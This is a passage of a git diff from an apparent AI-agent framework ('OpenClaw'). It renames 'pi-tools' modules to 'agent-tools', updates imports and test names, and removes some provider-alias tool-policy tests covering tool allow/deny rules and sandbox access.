"@earendil-works/pi-agent-core"; +import type { AgentTool } from "openclaw/plugin-sdk/agent-core"; import { Type } from "typebox"; import { describe, expect, it } from "vitest"; -import type { ClientToolDefinition } from "./pi-embedded-runner/run/params.js"; import { CLIENT_TOOL_NAME_CONFLICT_PREFIX, createClientToolNameConflictError, @@ -9,7 +8,8 @@ import { isClientToolNameConflictError, toClientToolDefinitions, toToolDefinitions, -} from "./pi-tool-definition-adapter.js"; +} from "./agent-tool-definition-adapter.js"; +import type { ClientToolDefinition } from "./embedded-agent-runner/run/params.js"; type ToolExecute = ReturnType[number]["execute"]; const extensionContext = {} as Parameters[4]; @@ -42,7 +42,7 @@ async function executeTool(tool: AgentTool, callId: string) { return await def.execute(callId, {}, undefined, undefined, extensionContext); } -describe("pi tool definition adapter", () => { +describe("agent tool definition adapter", () => { it("wraps tool errors into a tool result", async () => { const result = await executeThrowingTool("boom", "call1"); @@ -232,7 +232,7 @@ describe("client tool name conflict checks", () => { ).toEqual(["Weather", "weather"]); }); - it("detects collisions with reserved Pi built-in tool names", () => { + it("detects collisions with reserved OpenClaw built-in tool names", () => { expect( findClientToolNameConflicts({ tools: [makeClientTool("Bash"), makeClientTool("grep")], diff --git a/src/agents/pi-tool-definition-adapter.ts b/src/agents/agent-tool-definition-adapter.ts similarity index 96% rename from src/agents/pi-tool-definition-adapter.ts rename to src/agents/agent-tool-definition-adapter.ts index ecf7a1f6bc7..6bf94d6b7bd 100644 --- a/src/agents/pi-tool-definition-adapter.ts +++ b/src/agents/agent-tool-definition-adapter.ts @@ -1,28 +1,24 @@ import { createHash } from "node:crypto"; -import type { - AgentTool, - AgentToolResult, - AgentToolUpdateCallback, -} from "@earendil-works/pi-agent-core"; -import type { ToolDefinition } from "@earendil-works/pi-coding-agent"; import { logDebug, logError } from "../logger.js"; import { redactToolDetail } from "../logging/redact.js"; import { isPlainObject } from "../utils.js"; -import { - getCodeModeExecBeforeHookMetadata, - normalizeCodeModeExecBeforeHookParams, - reconcileCodeModeExecBeforeHookParams, -} from "./code-mode-control-tools.js"; -import { sanitizeForConsole } from "./console-sanitize.js"; -import type { ClientToolDefinition } from "./pi-embedded-runner/run/params.js"; -import type { HookContext } from "./pi-tools.before-tool-call.js"; +import type { HookContext } from "./agent-tools.before-tool-call.js"; import { buildBlockedToolResult, isToolWrappedWithBeforeToolCallHook, isBeforeToolCallBlockedError, recordAdjustedParamsForToolCall, runBeforeToolCallHook, -} from "./pi-tools.before-tool-call.js"; +} from "./agent-tools.before-tool-call.js"; +import { + getCodeModeExecBeforeHookMetadata, + normalizeCodeModeExecBeforeHookParams, + reconcileCodeModeExecBeforeHookParams, +} from "./code-mode-control-tools.js"; +import { sanitizeForConsole } from "./console-sanitize.js"; +import type { ClientToolDefinition } from "./embedded-agent-runner/run/params.js"; +import type { AgentTool, AgentToolResult, AgentToolUpdateCallback } from "./runtime/index.js"; +import type { ToolDefinition } from "./sessions/index.js"; import { normalizeToolName } from "./tool-policy.js"; import { jsonResult, payloadTextResult } from "./tools/common.js"; @@ -32,13 +28,13 @@ type ToolExecuteArgsCurrent = [ string, unknown, AbortSignal | undefined, - AgentToolUpdateCallback | undefined, + AgentToolUpdateCallback | undefined, unknown, ]; type ToolExecuteArgsLegacy = [ string, unknown, - AgentToolUpdateCallback | undefined, + AgentToolUpdateCallback | undefined, unknown, AbortSignal | undefined, ]; @@ -252,7 +248,7 @@ function buildToolExecutionErrorResult(params: { function splitToolExecuteArgs(args: ToolExecuteArgsAny): { toolCallId: string; params: unknown; - onUpdate: AgentToolUpdateCallback | undefined; + onUpdate: AgentToolUpdateCallback | undefined; signal: AbortSignal | undefined; } { if (isLegacyToolExecuteArgs(args)) { diff --git a/src/agents/pi-tool-handler-state.test-helpers.ts b/src/agents/agent-tool-handler-state.test-helpers.ts similarity index 92% rename from src/agents/pi-tool-handler-state.test-helpers.ts rename to src/agents/agent-tool-handler-state.test-helpers.ts index dca29aad3a5..54ffca0161f 100644 --- a/src/agents/pi-tool-handler-state.test-helpers.ts +++ b/src/agents/agent-tool-handler-state.test-helpers.ts @@ -1,4 +1,4 @@ -import { createEmbeddedRunReplayState } from "./pi-embedded-runner/replay-state.js"; +import { createEmbeddedRunReplayState } from "./embedded-agent-runner/replay-state.js"; export function createBaseToolHandlerState() { return { diff --git a/src/agents/pi-tools-agent-config.exec.test.ts b/src/agents/agent-tools-agent-config.exec.test.ts similarity index 98% rename from src/agents/pi-tools-agent-config.exec.test.ts rename to src/agents/agent-tools-agent-config.exec.test.ts index 268e72e246d..f5c50725401 100644 --- a/src/agents/pi-tools-agent-config.exec.test.ts +++ b/src/agents/agent-tools-agent-config.exec.test.ts @@ -4,7 +4,7 @@ import "./test-helpers/fast-openclaw-tools.js"; import type { OpenClawConfig } from "../config/config.js"; import { setActivePluginRegistry } from "../plugins/runtime.js"; import { createSessionConversationTestRegistry } from "../test-utils/session-conversation-registry.js"; -import { createOpenClawCodingTools } from "./pi-tools.js"; +import { createOpenClawCodingTools } from "./agent-tools.js"; function createExecHostDefaultsConfig( agents: Array<{ id: string; execHost?: "auto" | "gateway" | "sandbox" }>, diff --git a/src/agents/pi-tools-agent-config.test.ts b/src/agents/agent-tools-agent-config.test.ts similarity index 99% rename from src/agents/pi-tools-agent-config.test.ts rename to src/agents/agent-tools-agent-config.test.ts index 5f370fb5956..5a0a51ffccf 100644 --- a/src/agents/pi-tools-agent-config.test.ts +++ b/src/agents/agent-tools-agent-config.test.ts @@ -9,8 +9,8 @@ import type { OpenClawConfig } from "../config/config.js"; import { resolveChannelGroupToolsPolicy } from "../config/group-policy.js"; import { setActivePluginRegistry } from "../plugins/runtime.js"; import { createSessionConversationTestRegistry } from "../test-utils/session-conversation-registry.js"; -import { createOpenClawCodingTools } from "./pi-tools.js"; -import { resolveEffectiveToolPolicy } from "./pi-tools.policy.js"; +import { createOpenClawCodingTools } from "./agent-tools.js"; +import { resolveEffectiveToolPolicy } from "./agent-tools.policy.js"; import type { SandboxDockerConfig } from "./sandbox.js"; import type { SandboxFsBridge } from "./sandbox/fs-bridge.js"; import { createRestrictedAgentSandboxConfig } from "./test-helpers/sandbox-agent-config-fixtures.js"; @@ -56,7 +56,7 @@ describe("Agent-specific tool filtering", () => { patch: string; }) => Promise, ) { - const workspaceDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-pi-tools-")); + const workspaceDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-agent-tools-")); const escapedPath = path.join( path.dirname(workspaceDir), `escaped-${process.pid}-${Date.now()}-${Math.random().toString(16).slice(2)}.txt`, diff --git a/src/agents/pi-tools-parameter-schema.ts b/src/agents/agent-tools-parameter-schema.ts similarity index 99% rename from src/agents/pi-tools-parameter-schema.ts rename to src/agents/agent-tools-parameter-schema.ts index 24a6c829545..5d5bb77112f 100644 --- a/src/agents/pi-tools-parameter-schema.ts +++ b/src/agents/agent-tools-parameter-schema.ts @@ -1,11 +1,11 @@ import type { TSchema } from "typebox"; import type { ModelCompatConfig } from "../config/types.models.js"; -import { stripUnsupportedSchemaKeywords } from "../plugin-sdk/provider-tools.js"; import { resolveUnsupportedToolSchemaKeywords, shouldOmitEmptyArrayItems, } from "../plugins/provider-model-compat.js"; import { isRecord as isSchemaRecord } from "../shared/record-coerce.js"; +import { stripUnsupportedSchemaKeywords } from "../shared/schema-keyword-strip.js"; import { normalizeLowercaseStringOrEmpty } from "../shared/string-coerce.js"; import { uniqueValues } from "../shared/string-normalization.js"; import { cleanSchemaForGemini } from "./schema/clean-for-gemini.js"; diff --git a/src/agents/pi-tools.abort.ts b/src/agents/agent-tools.abort.ts similarity index 93% rename from src/agents/pi-tools.abort.ts rename to src/agents/agent-tools.abort.ts index 13d949891cf..7f29222455e 100644 --- a/src/agents/pi-tools.abort.ts +++ b/src/agents/agent-tools.abort.ts @@ -1,8 +1,8 @@ import { copyPluginToolMeta } from "../plugins/tools.js"; import { bindAbortRelay } from "../utils/fetch-timeout.js"; +import { copyBeforeToolCallHookMarker } from "./agent-tools.before-tool-call.js"; +import type { AnyAgentTool } from "./agent-tools.types.js"; import { copyChannelAgentToolMeta } from "./channel-tools.js"; -import { copyBeforeToolCallHookMarker } from "./pi-tools.before-tool-call.js"; -import type { AnyAgentTool } from "./pi-tools.types.js"; function throwAbortError(): never { const err = new Error("Aborted"); diff --git a/src/agents/pi-tools.availability.test.ts b/src/agents/agent-tools.availability.test.ts similarity index 96% rename from src/agents/pi-tools.availability.test.ts rename to src/agents/agent-tools.availability.test.ts index 80492b549cf..831247f742b 100644 --- a/src/agents/pi-tools.availability.test.ts +++ b/src/agents/agent-tools.availability.test.ts @@ -1,7 +1,7 @@ import { describe, expect, it, vi } from "vitest"; import "./test-helpers/fast-coding-tools.js"; import "./test-helpers/fast-openclaw-tools.js"; -import { createOpenClawCodingTools } from "./pi-tools.js"; +import { createOpenClawCodingTools } from "./agent-tools.js"; vi.mock("./channel-tools.js", () => { const passthrough = (tool: T) => tool; diff --git a/src/agents/pi-tools.before-tool-call.e2e.test.ts b/src/agents/agent-tools.before-tool-call.e2e.test.ts similarity index 99% rename from src/agents/pi-tools.before-tool-call.e2e.test.ts rename to src/agents/agent-tools.before-tool-call.e2e.test.ts index da43ead539f..8affa1d93da 100644 --- a/src/agents/pi-tools.before-tool-call.e2e.test.ts +++ b/src/agents/agent-tools.before-tool-call.e2e.test.ts @@ -16,7 +16,7 @@ import { setPluginToolMeta } from "../plugins/tools.js"; import { runBeforeToolCallHook, wrapToolWithBeforeToolCallHook, -} from "./pi-tools.before-tool-call.js"; +} from "./agent-tools.before-tool-call.js"; import { createCanonicalFixtureSkill } from "./skills.test-helpers.js"; import { CRITICAL_THRESHOLD } from "./tool-loop-detection.js"; import type { AnyAgentTool } from "./tools/common.js"; diff --git a/src/agents/pi-tools.before-tool-call.embedded-mode.test.ts b/src/agents/agent-tools.before-tool-call.embedded-mode.test.ts similarity index 99% rename from src/agents/pi-tools.before-tool-call.embedded-mode.test.ts rename to src/agents/agent-tools.before-tool-call.embedded-mode.test.ts index 5915ea9a6eb..a46524efa61 100644 --- a/src/agents/pi-tools.before-tool-call.embedded-mode.test.ts +++ b/src/agents/agent-tools.before-tool-call.embedded-mode.test.ts @@ -5,7 +5,7 @@ import type { HookRunner } from "../plugins/hooks.js"; import { createEmptyPluginRegistry } from "../plugins/registry-empty.js"; import { setActivePluginRegistry } from "../plugins/runtime.js"; import { PluginApprovalResolutions } from "../plugins/types.js"; -import { runBeforeToolCallHook } from "./pi-tools.before-tool-call.js"; +import { runBeforeToolCallHook } from "./agent-tools.before-tool-call.js"; import { callGatewayTool } from "./tools/gateway.js"; vi.mock("../plugins/hook-runner-global.js", async () => { diff --git a/src/agents/pi-tools.before-tool-call.integration.e2e.test.ts b/src/agents/agent-tools.before-tool-call.integration.e2e.test.ts similarity index 99% rename from src/agents/pi-tools.before-tool-call.integration.e2e.test.ts rename to src/agents/agent-tools.before-tool-call.integration.e2e.test.ts index 3d9056a3005..f5342f19881 100644 --- a/src/agents/pi-tools.before-tool-call.integration.e2e.test.ts +++ b/src/agents/agent-tools.before-tool-call.integration.e2e.test.ts @@ -13,17 +13,17 @@ import { patchPluginSessionExtension } from "../plugins/host-hook-state.js"; import { createEmptyPluginRegistry } from "../plugins/registry.js"; import { setActivePluginRegistry } from "../plugins/runtime.js"; import type { PluginHookRegistration } from "../plugins/types.js"; -import { markCodeModeControlTool } from "./code-mode-control-tools.js"; -import { CODE_MODE_EXEC_TOOL_NAME, createCodeModeTools } from "./code-mode.js"; -import { splitSdkTools } from "./pi-embedded-runner.js"; -import { toClientToolDefinitions, toToolDefinitions } from "./pi-tool-definition-adapter.js"; -import { wrapToolWithAbortSignal } from "./pi-tools.abort.js"; +import { toClientToolDefinitions, toToolDefinitions } from "./agent-tool-definition-adapter.js"; +import { wrapToolWithAbortSignal } from "./agent-tools.abort.js"; import { testing as beforeToolCallTesting, consumeAdjustedParamsForToolCall, isToolWrappedWithBeforeToolCallHook, wrapToolWithBeforeToolCallHook, -} from "./pi-tools.before-tool-call.js"; +} from "./agent-tools.before-tool-call.js"; +import { markCodeModeControlTool } from "./code-mode-control-tools.js"; +import { CODE_MODE_EXEC_TOOL_NAME, createCodeModeTools } from "./code-mode.js"; +import { splitSdkTools } from "./embedded-agent-runner.js"; type BeforeToolCallHandlerMock = ReturnType; @@ -292,7 +292,7 @@ describe("before_tool_call hook deduplication (#15502)", () => { expect(beforeToolCallHook).toHaveBeenCalledTimes(1); }); - it("passes agent context to outer code-mode exec hooks through Pi custom tools", async () => { + it("passes agent context to outer code-mode exec hooks through OpenClaw custom tools", async () => { beforeToolCallHook = installBeforeToolCallHook({ runBeforeToolCallImpl: async () => ({ block: true, diff --git a/src/agents/pi-tools.before-tool-call.runtime.ts b/src/agents/agent-tools.before-tool-call.runtime.ts similarity index 100% rename from src/agents/pi-tools.before-tool-call.runtime.ts rename to src/agents/agent-tools.before-tool-call.runtime.ts diff --git a/src/agents/pi-tools.before-tool-call.state.ts b/src/agents/agent-tools.before-tool-call.state.ts similarity index 100% rename from src/agents/pi-tools.before-tool-call.state.ts rename to src/agents/agent-tools.before-tool-call.state.ts diff --git a/src/agents/pi-tools.before-tool-call.ts b/src/agents/agent-tools.before-tool-call.ts similarity index 99% rename from src/agents/pi-tools.before-tool-call.ts rename to src/agents/agent-tools.before-tool-call.ts index 07a78e54675..90c2aecd465 100644 --- a/src/agents/pi-tools.before-tool-call.ts +++ b/src/agents/agent-tools.before-tool-call.ts @@ -32,6 +32,7 @@ import { } from "../plugins/types.js"; import { createLazyRuntimeSurface } from "../shared/lazy-runtime.js"; import { isPlainObject } from "../utils.js"; +import { adjustedParamsByToolCallId } from "./agent-tools.before-tool-call.state.js"; import { copyChannelAgentToolMeta, getChannelAgentToolMeta } from "./channel-tools.js"; import { getCodeModeExecBeforeHookMetadata, @@ -40,7 +41,6 @@ import { normalizeCodeModeExecBeforeHookParamsForToolKind, reconcileCodeModeExecBeforeHookParams, } from "./code-mode-control-tools.js"; -import { adjustedParamsByToolCallId } from "./pi-tools.before-tool-call.state.js"; import type { SandboxFsBridge } from "./sandbox/fs-bridge.js"; import { resolveSkillTelemetrySource, resolveSkillTelemetrySourceValue } from "./skills/source.js"; import type { SkillSnapshot, SkillTelemetrySource } from "./skills/types.js"; @@ -191,7 +191,7 @@ export function isBeforeToolCallBlockedError(err: unknown): err is BeforeToolCal } const loadBeforeToolCallRuntime = createLazyRuntimeSurface( - () => import("./pi-tools.before-tool-call.runtime.js"), + () => import("./agent-tools.before-tool-call.runtime.js"), ({ beforeToolCallRuntime }) => beforeToolCallRuntime, ); diff --git a/src/agents/pi-tools.create-openclaw-coding-tools.adds-claude-style-aliases-schemas-without-dropping-g.test.ts b/src/agents/agent-tools.create-openclaw-coding-tools.adds-claude-style-aliases-schemas-without-dropping-g.test.ts similarity index 98% rename from src/agents/pi-tools.create-openclaw-coding-tools.adds-claude-style-aliases-schemas-without-dropping-g.test.ts rename to src/agents/agent-tools.create-openclaw-coding-tools.adds-claude-style-aliases-schemas-without-dropping-g.test.ts index d939600a30d..bcbe3f70ccd 100644 --- a/src/agents/pi-tools.create-openclaw-coding-tools.adds-claude-style-aliases-schemas-without-dropping-g.test.ts +++ b/src/agents/agent-tools.create-openclaw-coding-tools.adds-claude-style-aliases-schemas-without-dropping-g.test.ts @@ -1,10 +1,10 @@ import fs from "node:fs/promises"; import os from "node:os"; import path from "node:path"; -import type { AgentTool, AgentToolResult } from "@earendil-works/pi-agent-core"; +import type { AgentTool, AgentToolResult } from "openclaw/plugin-sdk/agent-core"; import { Type } from "typebox"; import { describe, expect, it, vi } from "vitest"; -import { createOpenClawReadTool, createSandboxedReadTool } from "./pi-tools.read.js"; +import { createOpenClawReadTool, createSandboxedReadTool } from "./agent-tools.read.js"; import { createHostSandboxFsBridge } from "./test-helpers/host-sandbox-fs-bridge.js"; function extractToolText(result: unknown): string { diff --git a/src/agents/pi-tools.create-openclaw-coding-tools.test.ts b/src/agents/agent-tools.create-openclaw-coding-tools.test.ts similarity index 97% rename from src/agents/pi-tools.create-openclaw-coding-tools.test.ts rename to src/agents/agent-tools.create-openclaw-coding-tools.test.ts index 1c654958838..95ac2343c37 100644 --- a/src/agents/pi-tools.create-openclaw-coding-tools.test.ts +++ b/src/agents/agent-tools.create-openclaw-coding-tools.test.ts @@ -12,17 +12,16 @@ import { resetGlobalHookRunner, } from "../plugins/hook-runner-global.js"; import { createMockPluginRegistry } from "../plugins/hooks.test-helpers.js"; -import type { AuthProfileStore } from "./auth-profiles/types.js"; import "./test-helpers/fast-bash-tools.js"; import "./test-helpers/fast-coding-tools.js"; import "./test-helpers/fast-openclaw-tools.js"; +import { createOpenClawCodingTools } from "./agent-tools.js"; +import type { AuthProfileStore } from "./auth-profiles/types.js"; import * as openClawPluginTools from "./openclaw-plugin-tools.js"; import { createOpenClawTools } from "./openclaw-tools.js"; -import { createOpenClawCodingTools } from "./pi-tools.js"; +import { expectReadWriteEditTools } from "./test-helpers/agent-tools-fs-helpers.js"; +import { createAgentToolsSandboxContext } from "./test-helpers/agent-tools-sandbox-context.js"; import { createHostSandboxFsBridge } from "./test-helpers/host-sandbox-fs-bridge.js"; -import { expectReadWriteEditTools } from "./test-helpers/pi-tools-fs-helpers.js"; -import { createPiToolsSandboxContext } from "./test-helpers/pi-tools-sandbox-context.js"; -import { providerAliasCases } from "./test-helpers/provider-alias-cases.js"; import { buildEmptyExplicitToolAllowlistError } from "./tool-allowlist-guard.js"; import { DEFAULT_PLUGIN_TOOLS_ALLOWLIST_ENTRY, normalizeToolName } from "./tool-policy.js"; @@ -209,7 +208,7 @@ describe("createOpenClawCodingTools", () => { ); }); - it("adds PI Tool Search control tools when explicitly requested", () => { + it("adds Tool Search control tools when explicitly requested", () => { const tools = createOpenClawCodingTools({ includeToolSearchControls: true, config: { @@ -226,7 +225,7 @@ describe("createOpenClawCodingTools", () => { expect(names.has("tool_call")).toBe(true); }); - it("keeps PI Tool Search controls available under restrictive tool profiles", () => { + it("keeps Tool Search controls available under restrictive tool profiles", () => { const tools = createOpenClawCodingTools({ includeToolSearchControls: true, config: { @@ -245,7 +244,7 @@ describe("createOpenClawCodingTools", () => { expect(names.has("message")).toBe(false); }); - it("keeps PI Tool Search controls available under restrictive tool allowlists", () => { + it("keeps Tool Search controls available under restrictive tool allowlists", () => { const tools = createOpenClawCodingTools({ includeToolSearchControls: true, config: { @@ -265,7 +264,7 @@ describe("createOpenClawCodingTools", () => { expect(names.has("tool_call")).toBe(true); }); - it("lets explicit deny policies remove PI Tool Search controls", () => { + it("lets explicit deny policies remove Tool Search controls", () => { const tools = createOpenClawCodingTools({ includeToolSearchControls: true, config: { @@ -282,7 +281,7 @@ describe("createOpenClawCodingTools", () => { expect(names.has("read")).toBe(true); }); - it("keeps PI Tool Search controls when core OpenClaw tools are not materialized", () => { + it("keeps Tool Search controls when core OpenClaw tools are not materialized", () => { const createOpenClawToolsMock = vi.mocked(createOpenClawTools); createOpenClawToolsMock.mockClear(); @@ -1068,26 +1067,6 @@ describe("createOpenClawCodingTools", () => { expect(toolNameList(cronTools)).toContain("message"); }); - it.each(providerAliasCases)( - "applies canonical tools.byProvider deny policy to core tools for alias %s", - (alias, canonical) => { - const tools = createOpenClawCodingTools({ - config: { - tools: { - byProvider: { - [canonical]: { deny: ["read"] }, - }, - }, - } as OpenClawConfig, - modelProvider: alias, - }); - const names = new Set(tools.map((tool) => tool.name)); - - expect(names.has("read")).toBe(false); - expect(names.has("write")).toBe(true); - }, - ); - it("expands group shorthands in global tool policy", () => { const tools = createOpenClawCodingTools({ config: { tools: { allow: ["group:fs"] } }, @@ -1212,7 +1191,7 @@ describe("createOpenClawCodingTools", () => { it("filters tools by sandbox policy", () => { const sandboxDir = path.join(os.tmpdir(), "openclaw-sandbox"); - const sandbox = createPiToolsSandboxContext({ + const sandbox = createAgentToolsSandboxContext({ workspaceDir: sandboxDir, agentWorkspaceDir: path.join(os.tmpdir(), "openclaw-workspace"), workspaceAccess: "none" as const, @@ -1230,7 +1209,7 @@ describe("createOpenClawCodingTools", () => { it("hard-disables write/edit when sandbox workspaceAccess is ro", () => { const sandboxDir = path.join(os.tmpdir(), "openclaw-sandbox"); - const sandbox = createPiToolsSandboxContext({ + const sandbox = createAgentToolsSandboxContext({ workspaceDir: sandboxDir, agentWorkspaceDir: path.join(os.tmpdir(), "openclaw-workspace"), workspaceAccess: "ro" as const, diff --git a/src/agents/pi-tools.cron-scope.test.ts b/src/agents/agent-tools.cron-scope.test.ts similarity index 96% rename from src/agents/pi-tools.cron-scope.test.ts rename to src/agents/agent-tools.cron-scope.test.ts index 9e09d48532e..2ece96e0362 100644 --- a/src/agents/pi-tools.cron-scope.test.ts +++ b/src/agents/agent-tools.cron-scope.test.ts @@ -27,7 +27,7 @@ vi.mock("./openclaw-tools.js", () => ({ import "./test-helpers/fast-bash-tools.js"; import "./test-helpers/fast-coding-tools.js"; -import { createOpenClawCodingTools } from "./pi-tools.js"; +import { createOpenClawCodingTools } from "./agent-tools.js"; function firstOpenClawToolsOptions(): { cronSelfRemoveOnlyJobId?: string } | undefined { return mocks.createOpenClawToolsOptions.mock.calls[0]?.[0] as diff --git a/src/agents/pi-tools.deferred-followup-guidance.test.ts b/src/agents/agent-tools.deferred-followup-guidance.test.ts similarity index 95% rename from src/agents/pi-tools.deferred-followup-guidance.test.ts rename to src/agents/agent-tools.deferred-followup-guidance.test.ts index 940869c94f8..60ccdb5e9fd 100644 --- a/src/agents/pi-tools.deferred-followup-guidance.test.ts +++ b/src/agents/agent-tools.deferred-followup-guidance.test.ts @@ -1,6 +1,6 @@ import { describe, expect, it } from "vitest"; -import { applyDeferredFollowupToolDescriptions } from "./pi-tools.deferred-followup.js"; -import type { AnyAgentTool } from "./pi-tools.types.js"; +import { applyDeferredFollowupToolDescriptions } from "./agent-tools.deferred-followup.js"; +import type { AnyAgentTool } from "./agent-tools.types.js"; function findToolDescription(toolName: string, includeCron: boolean) { const tools = applyDeferredFollowupToolDescriptions([ diff --git a/src/agents/pi-tools.deferred-followup.ts b/src/agents/agent-tools.deferred-followup.ts similarity index 91% rename from src/agents/pi-tools.deferred-followup.ts rename to src/agents/agent-tools.deferred-followup.ts index ff582a3c2cb..6cc0980b678 100644 --- a/src/agents/pi-tools.deferred-followup.ts +++ b/src/agents/agent-tools.deferred-followup.ts @@ -1,5 +1,5 @@ +import type { AnyAgentTool } from "./agent-tools.types.js"; import { describeExecTool, describeProcessTool } from "./bash-tools.descriptions.js"; -import type { AnyAgentTool } from "./pi-tools.types.js"; export function applyDeferredFollowupToolDescriptions( tools: AnyAgentTool[], diff --git a/src/agents/pi-tools.message-provider-policy.test.ts b/src/agents/agent-tools.message-provider-policy.test.ts similarity index 88% rename from src/agents/pi-tools.message-provider-policy.test.ts rename to src/agents/agent-tools.message-provider-policy.test.ts index f033eddf9d2..3ccb21dfa59 100644 --- a/src/agents/pi-tools.message-provider-policy.test.ts +++ b/src/agents/agent-tools.message-provider-policy.test.ts @@ -1,5 +1,5 @@ import { describe, expect, it } from "vitest"; -import { filterToolNamesByMessageProvider } from "./pi-tools.message-provider-policy.js"; +import { filterToolNamesByMessageProvider } from "./agent-tools.message-provider-policy.js"; const DEFAULT_TOOL_NAMES = ["read", "write", "tts", "web_search"]; diff --git a/src/agents/pi-tools.message-provider-policy.ts b/src/agents/agent-tools.message-provider-policy.ts similarity index 100% rename from src/agents/pi-tools.message-provider-policy.ts rename to src/agents/agent-tools.message-provider-policy.ts diff --git a/src/agents/pi-tools.model-provider-collision.test.ts b/src/agents/agent-tools.model-provider-collision.test.ts similarity index 98% rename from src/agents/pi-tools.model-provider-collision.test.ts rename to src/agents/agent-tools.model-provider-collision.test.ts index 48eb7c46295..de59212fa0a 100644 --- a/src/agents/pi-tools.model-provider-collision.test.ts +++ b/src/agents/agent-tools.model-provider-collision.test.ts @@ -1,6 +1,6 @@ import { describe, expect, it } from "vitest"; -import { testing } from "./pi-tools.js"; -import type { AnyAgentTool } from "./pi-tools.types.js"; +import { testing } from "./agent-tools.js"; +import type { AnyAgentTool } from "./agent-tools.types.js"; const HTML_ENTITY_TOOL_CALL_ARGUMENTS_ENCODING = "html-entities"; const XAI_TOOL_SCHEMA_PROFILE = "xai"; diff --git a/src/agents/pi-tools.params.test.ts b/src/agents/agent-tools.params.test.ts similarity index 99% rename from src/agents/pi-tools.params.test.ts rename to src/agents/agent-tools.params.test.ts index 4fa624e73e5..efb5fc79864 100644 --- a/src/agents/pi-tools.params.test.ts +++ b/src/agents/agent-tools.params.test.ts @@ -4,7 +4,7 @@ import { REQUIRED_PARAM_GROUPS, getToolParamsRecord, wrapToolParamValidation, -} from "./pi-tools.params.js"; +} from "./agent-tools.params.js"; describe("assertRequiredParams", () => { it("returns object params unchanged", () => { diff --git a/src/agents/pi-tools.params.ts b/src/agents/agent-tools.params.ts similarity index 98% rename from src/agents/pi-tools.params.ts rename to src/agents/agent-tools.params.ts index bf34a878b90..1df63f75c6d 100644 --- a/src/agents/pi-tools.params.ts +++ b/src/agents/agent-tools.params.ts @@ -1,4 +1,4 @@ -import type { AnyAgentTool } from "./pi-tools.types.js"; +import type { AnyAgentTool } from "./agent-tools.types.js"; export type RequiredParamGroup = { keys: readonly string[]; diff --git a/src/agents/pi-tools.policy.test.ts b/src/agents/agent-tools.policy.test.ts similarity index 88% rename from src/agents/pi-tools.policy.test.ts rename to src/agents/agent-tools.policy.test.ts index d1ef532211a..31f28f36787 100644 --- a/src/agents/pi-tools.policy.test.ts +++ b/src/agents/agent-tools.policy.test.ts @@ -13,9 +13,8 @@ import { resolveSubagentToolPolicy, resolveSubagentToolPolicyForSession, resolveTrustedGroupId, -} from "./pi-tools.policy.js"; -import { createStubTool } from "./test-helpers/pi-tool-stubs.js"; -import { providerAliasCases } from "./test-helpers/provider-alias-cases.js"; +} from "./agent-tools.policy.js"; +import { createStubTool } from "./test-helpers/agent-tool-stubs.js"; vi.mock("../channels/plugins/session-conversation.js", () => ({ resolveSessionConversation: ({ rawId }: { rawId: string }) => ({ @@ -26,7 +25,7 @@ vi.mock("../channels/plugins/session-conversation.js", () => ({ }), })); -describe("pi-tools.policy", () => { +describe("agent-tools.policy", () => { it("treats * in allow as allow-all", () => { const tools = [createStubTool("read"), createStubTool("exec")]; const filtered = filterToolsByPolicy(tools, { allow: ["*"] }); @@ -544,99 +543,6 @@ describe("resolveSubagentToolPolicy depth awareness", () => { }); describe("resolveEffectiveToolPolicy", () => { - it.each(providerAliasCases)( - "matches provider alias %s to canonical tools.byProvider key %s", - (alias, canonical) => { - const cfg = { - tools: { - byProvider: { - [canonical]: { deny: ["exec"] }, - }, - }, - } as unknown as OpenClawConfig; - - const result = resolveEffectiveToolPolicy({ config: cfg, modelProvider: alias }); - - expect(result.globalProviderPolicy).toEqual({ deny: ["exec"] }); - }, - ); - - it.each(providerAliasCases)( - "matches provider alias %s to canonical model-scoped tools.byProvider key %s", - (alias, canonical) => { - const cfg = { - tools: { - byProvider: { - [`${canonical}/claude-sonnet`]: { deny: ["exec"] }, - }, - }, - } as unknown as OpenClawConfig; - - const result = resolveEffectiveToolPolicy({ - config: cfg, - modelProvider: alias, - modelId: "claude-sonnet", - }); - - expect(result.globalProviderPolicy).toEqual({ deny: ["exec"] }); - }, - ); - - it("prefers canonical tools.byProvider policy when alias keys collide after normalization", () => { - const aliasFirst = { - tools: { - byProvider: { - bedrock: { deny: ["read"] }, - "amazon-bedrock": { deny: ["exec"] }, - }, - }, - } as unknown as OpenClawConfig; - const canonicalFirst = { - tools: { - byProvider: { - "amazon-bedrock": { deny: ["exec"] }, - bedrock: { deny: ["read"] }, - }, - }, - } as unknown as OpenClawConfig; - - expect( - resolveEffectiveToolPolicy({ config: aliasFirst, modelProvider: "bedrock" }) - .globalProviderPolicy, - ).toEqual({ deny: ["exec"] }); - expect( - resolveEffectiveToolPolicy({ config: canonicalFirst, modelProvider: "bedrock" }) - .globalProviderPolicy, - ).toEqual({ deny: ["exec"] }); - }); - - it("prefers canonical model-scoped tools.byProvider policy when alias keys collide", () => { - const aliasFirst = { - tools: { - byProvider: { - "bedrock/claude-sonnet": { deny: ["read"] }, - "amazon-bedrock/claude-sonnet": { deny: ["exec"] }, - }, - }, - } as unknown as OpenClawConfig; - const canonicalFirst = { - tools: { - byProvider: { - "amazon-bedrock/claude-sonnet": { deny: ["exec"] }, - "bedrock/claude-sonnet": { deny: ["read"] }, - }, - }, - } as unknown as OpenClawConfig; - const params = { modelProvider: "bedrock", modelId: "claude-sonnet" }; - - expect( - resolveEffectiveToolPolicy({ config: aliasFirst, ...params }).globalProviderPolicy, - ).toEqual({ deny: ["exec"] }); - expect( - resolveEffectiveToolPolicy({ config: canonicalFirst, ...params }).globalProviderPolicy, - ).toEqual({ deny: ["exec"] }); - }); - it("keeps slash-containing modelId scoped to the selected provider", () => { const cfg = { tools: { @@ -752,7 +658,7 @@ describe("resolveEffectiveToolPolicy", () => { }); it("does not warn an agent profile about inherited global tool sections (#47487)", async () => { - const warnLogs = createWarnLogCapture("openclaw-pi-tools-policy-test"); + const warnLogs = createWarnLogCapture("openclaw-agent-tools-policy-test"); try { const cfg = { tools: { @@ -781,7 +687,7 @@ describe("resolveEffectiveToolPolicy", () => { }); it("still warns when an agent profile has its own configured exec section (#47487)", async () => { - const warnLogs = createWarnLogCapture("openclaw-pi-tools-policy-test"); + const warnLogs = createWarnLogCapture("openclaw-agent-tools-policy-test"); try { const cfg = { agents: { @@ -809,7 +715,7 @@ describe("resolveEffectiveToolPolicy", () => { }); it("only lists configured sections whose grants are still missing (#47487)", async () => { - const warnLogs = 